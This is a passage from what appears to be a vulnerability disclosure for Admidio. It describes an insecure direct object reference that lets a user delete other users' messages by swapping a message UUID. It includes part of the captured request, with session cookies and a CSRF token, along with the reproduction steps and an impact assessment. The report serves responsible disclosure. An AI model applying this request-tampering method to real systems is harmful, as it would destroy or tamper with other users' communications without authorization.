    Cookie: BOXCLR=e%3DdXNlcjNAdGVzdC5jb20%3D%26p%3DJDJ5JDEwJEltbDNnQXl0di8xdy5wZFpWQW9pNi40UVhsSnd3R2h5OENCT0VCYVp3ZmhGc2paU3N5UzJx; ADMIDIO_admidio_adm_cookieconsent_status=dismiss; BBLANG=en_US; ADMIDIO_admidio_adm_SESSION_ID=beedb93711a4307d7d676817daeefd7b
    Connection: close
    
    admidio-csrf-token=6amCNCtp5js7GH8g2UwyHOU88PKm2M
    

4 changing the messges uuid as the message related to card2

5 result shows success

IDORs with unpredictable IDs are valid vulnerabilities see https://rez0.blog/hacking/cybersecurity/2022/08/18/unpredictable-idors.html

as the uuid is hard to predicate, we mark Attack Complexity as high

**Impact**

Impact of the Vulnerability:

This vulnerability allows a user to delete messages of other users, which can result in a loss of important communication data. This can also lead to unauthorized editing or deleting of messages, causing potential security issues for the impacted users. Additionally, an attacker may use this vulnerability to tamper with the message history and cover up their tracks, making it difficult to trace any malicious activity.

Tag

#windows